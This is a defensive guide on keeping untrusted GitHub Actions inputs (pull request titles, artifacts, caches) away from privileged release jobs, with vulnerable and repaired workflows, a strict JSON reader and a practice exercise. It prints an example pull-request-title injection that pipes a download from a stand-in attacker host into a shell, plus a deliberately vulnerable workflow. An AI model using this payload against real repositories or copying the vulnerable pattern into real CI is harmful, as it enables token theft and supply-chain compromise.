---
key: "ci-untrusted-workflows"
title: "Keep untrusted CI work outside the release boundary"
url: "https://softwaresecurity.com/domains/supply-chain/ci-cd/untrusted-workflow-boundaries/"
api: "https://softwaresecurity.com/api/v1/articles/ci-untrusted-workflows.json"
domain: "supply-chain"
topic: "Software supply chain"
type: "Guide"
identifiers: ["CWE-78","CWE-94","CWE-829","A03:2025","A05:2025","A08:2025","CAPEC-88","CAPEC-242"]
tags: ["Injection","CI/CD security"]
stages: ["build","release"]
roles: ["developer"]
license: "CC-BY-4.0"
license_url: "https://creativecommons.org/licenses/by/4.0/"
code_license: "MIT"
---

# Keep untrusted CI work outside the release boundary

Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.

Canonical URL: https://softwaresecurity.com/domains/supply-chain/ci-cd/untrusted-workflow-boundaries/

## In short

Treat everything a pull request controls as data: titles, branch names, artifacts and cache entries. Never place `${{ github.event.* }}` text directly in a `run:` script; pass it through `env:` and quote the variable. Never check out, unpack or execute fork content in `pull_request_target` or `workflow_run` jobs, which hold the base repository token. Download one bounded artifact, parse it against a strict schema, and let only trusted triggers write release caches.

- GitHub substitutes `${{ }}` expressions into the script text before the shell runs, so a pull request title can become a command.
- In August 2025 a title injection in an Nx `pull_request_target` workflow led to a stolen npm token and malicious `nx` releases.
- A `workflow_run` job never checks out the pull request, yet anything it executes from an artifact runs with its write authority.
- `actions/checkout` v7 refuses fork checkouts in privileged triggers, but not `git` or `gh` in `run:` steps, artifacts or caches.
- Since 2026-06-26 untrusted triggers get read-only tokens for the default-branch cache; do not override that with `cache-mode: write`.

## Recommended defaults

| Setting | Value | Note | Source |
| --- | --- | --- | --- |
| Event text used in `run:` | Pass through `env:` and reference as `"$VAR"` | — | GitHub Docs: script injections |
| Workflow-level `permissions` | `{}`; grant each job only the scopes it uses | — | GitHub Actions secure use reference |
| Cross-run artifact download | `run-id`, `github-token` with `actions: read`, `skip-decompress: true`, `digest-mismatch: error` | — | actions/download-artifact |
| Cache writes from `pull_request_target`, `issue_comment` and fork `workflow_run` | Read-only since 2026-06-26; leave `cache-mode` at its default | — | GitHub changelog: read-only Actions cache for untrusted triggers (2026-06-26) |
| `allow-unsafe-pr-checkout` | Unset (false) | Setting it to `true` re-enables fork checkouts in privileged triggers. | GitHub changelog: safer pull_request_target defaults for actions/checkout (2026-06-18) |

## Verify it

1. Run `zizmor .github/workflows/` and resolve every `template-injection` and `dangerous-triggers` finding, or record the reason in an inline ignore comment.
2. Run `actionlint`; it reports untrusted expressions such as `github.event.pull_request.title` used directly in `run:`.
3. In a test repository, open a pull request titled `a"; echo INJECTED; echo "` and confirm no job log prints `INJECTED`.
4. Run the reader against J1 to J5 from the exercise and confirm that only J1 is accepted.
5. Search the workflows for `cache-mode: write` and `allow-unsafe-pr-checkout`; each occurrence needs a documented review.

## What you will learn

- Find privilege crossings through artifacts and caches.
- Replace an executable handoff with a bounded data schema.
- Test near-miss input types and persistent influence independently.

Audience: Maintainers of repositories that accept outside contributions and engineers who write their GitHub Actions workflows

Before you start:

- Trace CI event data, job permissions, checkout revision and artifact hand-offs.

Time: About 30 minutes: 7 to read and 23 for the exercise

## Follow influence across jobs, not just event names

A workflow boundary is crossed whenever less trusted data influences a more privileged execution. A pull request can change code, dependency manifests, test fixtures and filenames. A later job may grant credentials to data created by that pull request through artifact download, generated scripts or a shared cache. Treat each edge as an input channel. Merely putting privileged work in another YAML file does not remove that channel.

In this guide, a contributor test produces `report.zip`. A `workflow_run` job downloads it and runs `summarize.sh` from inside the archive before posting a report. The contributor controls the script, while the second job has a write token. That composition creates a privilege crossing even though the privileged job never explicitly checks out the pull request. Authentication of the artifact's origin proves which run produced it; it does not make its executable content trustworthy. Untrusted outputs must remain data under a constrained parser or be rebuilt from trusted inputs.

## Remove ambient and persistent authority

GitHub warns about executing untrusted code in privileged workflows and on persistent self-hosted runners. Restrict token permissions, secrets, identity tokens, filesystem sharing and network reachability together. A job with no repository write permission may still reach internal deployment services through its runner network. An ephemeral registration record is not enough if the underlying disk or host state survives into the next job. Clean execution environments must include the state actually used by the build. `actions/checkout` v7 (June 2026), and the v2 to v6 releases backported on 2026-07-20, refuse to check out fork pull request code in `pull_request_target` and fork-triggered `workflow_run` runs unless `allow-unsafe-pr-checkout: true` is set. That guard does not cover `run:` steps that fetch the head with `git` or `gh`, nor artifacts and caches, so the handoff in this guide stays dangerous with the newest checkout. The 2021 Codecov compromise (/domains/supply-chain/ci-cd/case-study-codecov/) is the downloaded-tool version of the same problem: a third-party script ran in jobs that held every pipeline secret.

Separate caches by trust domain and only allow privileged writers to populate release caches. On GitHub, caches saved by `pull_request` runs are scoped to the merge ref, and since 2026-06-26 untrusted triggers that run in the default-branch context (`pull_request_target`, `issue_comment` and fork `workflow_run`) receive read-only cache tokens; a workflow that declares `cache-mode: write` gives that protection up and reopens the path to cache poisoning. A cache key containing a commit hash does not automatically make the cache trustworthy if the restore logic falls back to a broad prefix. Similarly, approving a pull request workflow run does not review every future instruction a dependency might download. Tradeoffs include extra build time, separate runner pools and reduced cache hit rates. Those costs are preferable to granting unreviewed code an implicit route to publication.

## Keep event text out of the script: expression injection

The runner evaluates `${{ }}` expressions and pastes the results into the script before the shell parses it. A pull request title, issue body, branch name or commit message is attacker-chosen text, so a title such as `a"; curl -sSf https://attacker.invalid/x | sh; echo "` closes the quoted string and runs a command. The workflow below combines that injection with `pull_request_target`, which hands the job a token with `pull-requests: write` and the repository secrets. Untrusted context fields typically end in `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`, `ref` or `title`.

This is how the Nx packages were compromised in August 2025. A `pull_request_target` workflow echoed `github.event.pull_request.title` in a `run:` step; an attacker used it to trigger the privileged publish workflow with a malicious commit, sent its npm token to a webhook, and then published `nx` versions whose `postinstall` script stole developer credentials (CVE-2025-10894). Nx believes the attacker targeted an outdated branch that still contained the workflow after it was removed from the default branch; since 2025-12-08 `pull_request_target` always runs the default-branch workflow file. The Actions injection lab at /labs/actions-injection/ has you repair a linter that misses this pattern.

```yaml
name: Triage
on:
  pull_request_target:
    types: [opened, edited]
permissions:
  pull-requests: write
jobs:
  title:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Checking title: ${{ github.event.pull_request.title }}"
```

## Pass untrusted values through environment variables

The repair moves the title into an environment variable, so the shell receives it as a value and never as script text, and quotes it as `"$TITLE"` to prevent word splitting. A title check needs no write access, so the job also moves to `pull_request` and drops every token permission. Apply the same rule to `actions/github-script`: read `process.env.TITLE` inside the script rather than interpolating `${{ }}` into JavaScript. The variable is still untrusted after this change; never pass it to `eval`, a template engine or an unquoted command line.

```yaml
name: Triage
on:
  pull_request:
    types: [opened, edited, synchronize]
permissions: {}
jobs:
  title:
    runs-on: ubuntu-latest
    steps:
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^(feat|fix|docs):\  ]]; then
            echo "Title format accepted"
          else
            echo "::error::Start the title with feat:, fix: or docs:"
            exit 1
          fi
```

## Design a narrow data contract for results

For the fictional workflow below, the report consumer needs only passed and failed test counts. A safe handoff can accept a bounded JSON object, reject unexpected keys/types and never execute files supplied by the producer. The protected consumer implementation defines the parser and rendering behavior. It must also select the intended run and artifact using verified metadata, enforce size limits, and handle malformed input without falling back to shell execution.

The reader below implements the fixture contract: at most 4096 bytes, one JSON object with exactly the keys `passed` and `failed`, and integers from 0 to 100000. It rejects duplicate keys and `NaN`, and compares the exact type because Python `bool` is a subclass of `int`, so `isinstance(True, int)` is true. It prints only the validated numbers, formats nothing from the input, and never extracts filenames, resolves symlinks or runs a bundled script. If a richer report is required, expand the schema intentionally and test text rendering as untrusted content.

```python
"""Read an untrusted test-count file. It is parsed as data and never executed."""
import json
import sys

MAX_BYTES = 4096
LIMIT = 100_000


def unique_keys(pairs):
    keys = [key for key, _ in pairs]
    if len(keys) != len(set(keys)):
        raise ValueError("duplicate key")
    return dict(pairs)


def no_constants(name):
    raise ValueError(f"{name} is not allowed")


def read_counts(raw: bytes) -> tuple[int, int]:
    if len(raw) > MAX_BYTES:
        raise ValueError(f"larger than {MAX_BYTES} bytes")
    data = json.loads(raw, object_pairs_hook=unique_keys, parse_constant=no_constants)
    if not isinstance(data, dict) or set(data) != {"passed", "failed"}:
        raise ValueError("expected exactly the keys passed and failed")
    for key in ("passed", "failed"):
        # bool is a subclass of int, so compare the exact type.
        if type(data[key]) is not int or not 0 <= data[key] <= LIMIT:
            raise ValueError(f"{key} must be an integer from 0 to {LIMIT}")
    return data["passed"], data["failed"]


if __name__ == "__main__":
    with open(sys.argv[1], "rb") as handle:
        raw = handle.read(MAX_BYTES + 1)
    try:
        passed, failed = read_counts(raw)
    except (ValueError, RecursionError) as error:
        sys.exit(f"rejected: {error}")
    print(f"passed={passed}")
    print(f"failed={failed}")
```

## Fetch the artifact as data in the privileged job

The test workflow uploads `counts.json` as a single unarchived file with `actions/upload-artifact` and `archive: false`. The report workflow below runs from the default branch, so its checkout contains the reviewed reader rather than pull request code. It downloads that one file from the triggering run with `skip-decompress: true`, so nothing is unpacked, and with `digest-mismatch: error`. The validated counts then become a commit status through environment variables. Its token can read Actions artifacts and write statuses; it cannot push code or read secrets that the job does not reference. /domains/supply-chain/ci-cd/github-actions-hardening/ applies the same split to a comment bot and adds a `jq` schema check.

zizmor reports `dangerous-triggers` for every `workflow_run` workflow. The inline ignore records why this one is accepted: it executes no pull request code and treats the artifact as bounded data. Keep that reason accurate when the workflow changes.

```yaml
name: Report
on: # zizmor: ignore[dangerous-triggers] -- runs no pull request code
  workflow_run:
    workflows: [Test]
    types: [completed]
permissions: {}
jobs:
  report:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      actions: read # download the artifact from the triggering run
      contents: read # check out the reader from the default branch
      statuses: write # publish the result as a commit status
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
        with:
          name: counts.json
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
          path: ${{ runner.temp }}/counts
          skip-decompress: true
          digest-mismatch: error
      - id: counts
        run: python3 .github/scripts/read_counts.py "$RUNNER_TEMP/counts/counts.json" >> "$GITHUB_OUTPUT"
      - env:
          GH_TOKEN: ${{ github.token }}
          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
          PASSED: ${{ steps.counts.outputs.passed }}
          FAILED: ${{ steps.counts.outputs.failed }}
        run: |
          state=success
          if [ "$FAILED" -gt 0 ]; then state=failure; fi
          gh api "repos/$GITHUB_REPOSITORY/statuses/$HEAD_SHA" \
            -f state="$state" -f context=tests/report \
            -f description="$PASSED passed, $FAILED failed"
```

## Test confidentiality, integrity and persistence separately

A secret-access probe, a write-permission probe and a persistence probe establish different properties. A clean log does not prove that a secret was unavailable; masking can hide it. In an authorized test environment, use synthetic canaries and inspect effective permissions or audit events. A harmless marker written by an untrusted job should never appear in the next protected workspace or restored release cache. A report with an extra executable field should fail schema validation before any privileged action.

The exercise below is a desk assessment with complete proposed inputs. It lets you reason about a handoff without running malicious scripts or contacting external services. A real rollout additionally tests the workflow's event conditions, run selection, artifact permission rules and race behavior. Retain those observations as evidence tied to the workflow revision, together with `zizmor` and `actionlint` results for the same revision. A green workflow that still executes the archive's `summarize.sh` fails the design requirement even if its output looks benign.

## Guided practice

A privileged report job consumes a fork PR artifact. Replace the executable handoff with the smallest data contract that meets its purpose.

### Supplied material

```text
E1 test workflow: fork pull_request, no secrets, contents read, disposable worker; produces report.zip including summary.json and summarize.sh.
E2 report workflow: workflow_run, contents write, clean worker; downloads the triggering run artifact; unzips and executes summarize.sh.
Need: publish counts only. No attachments or dynamic templates required.
Proposed inputs:
J1 = {"passed": 120, "failed": 0}
J2 = {"passed": 120, "failed": 0, "script": "echo hello"}
J3 = {"passed": "120", "failed": 0}
J4 = {"passed": 100001, "failed": 0}
J5 = {"passed": true, "failed": 0}
Contract: exact keys passed/failed; integer type excluding boolean; range 0..100000; <=4096 bytes.
Release cache accepts writes only from release workflow; PR cache has a separate store.
```

### 1. Identify the crossing

Name the attacker-controlled object and authority it receives.

Worked answer: The PR controls `summarize.sh` in `report.zip`. E2 executes it with contents write, creating a code-execution handoff into a privileged job despite E1 itself having little authority.

### 2. Remove unnecessary interpretation

Design a consumer satisfying the supplied need.

Worked answer: Download only the expected counts object using verified run/artifact metadata, cap bytes, parse the exact schema and render a protected fixed template. Do not unzip or execute `summarize.sh`. The count values remain untrusted claims about test results.

### 3. Evaluate the five inputs

Apply the complete contract and explain every denial.

Worked answer: Accept J1. Reject J2 for extra key, J3 for string type, J4 for out-of-range value and J5 because boolean is not an accepted integer. In Python an `isinstance(value, int)` check alone would wrongly accept `bool`.

### 4. Assess cache isolation

Explain why a shared key prefix would weaken the supplied cache separation.

Worked answer: A release restore fallback into a PR-writable store could consume attacker-controlled state. Store/access separation must hold even on cache misses; a naming convention alone is not the authority boundary.

### 5. Specify the test record

Write a harmless negative test for the protected workflow.

Worked answer: Submit J2 under an authorized fixture run. Expected: schema rejection, no report publication, no execution of any supplied file, rejection reason extra key retained. This is a proposed validation criterion, not an assertion that the workflow has been tested.

Deliverable: A corrected handoff design and five precise schema decisions with a separate persistence check.

Scope: The reader and workflows on this page are tested examples; the exercise itself does not execute hostile code or verify runner isolation.

## Executable practice

- [Actions injection lab: Flag GitHub Actions expression injection](https://softwaresecurity.com/labs/actions-injection/)

Articles and teaching material: CC BY 4.0. Original executable code: MIT. Attribution: Software Security.

## Sources

- [GitHub Actions secure use reference](https://docs.github.com/en/actions/reference/security/secure-use)
- [SLSA 1.2 specification](https://slsa.dev/spec/v1.2/). v1.2 (approved November 2025).
- [GitHub Docs: script injections](https://docs.github.com/en/actions/concepts/security/script-injections)
- [GitHub Docs: dependency caching reference](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching)
- [GitHub changelog: safer pull_request_target defaults for actions/checkout (2026-06-18)](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/)
- [GitHub changelog: read-only Actions cache for untrusted triggers (2026-06-26)](https://github.blog/changelog/2026-06-26-read-only-actions-cache-for-untrusted-triggers/)
- [Nx security advisory GHSA-cxm3-wv7p-598c: malicious versions of Nx and some supporting plugins were published](https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c). 27 August 2025.
- [actions/download-artifact](https://github.com/actions/download-artifact)
- [zizmor audit rules](https://docs.zizmor.sh/audits/)
- [OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE)](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution). v1.0 (2022).
- [OWASP Top 10 CI/CD Security Risks: CICD-SEC-5 Insufficient PBAC (Pipeline-Based Access Controls)](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-05-Insufficient-PBAC). v1.0 (2022).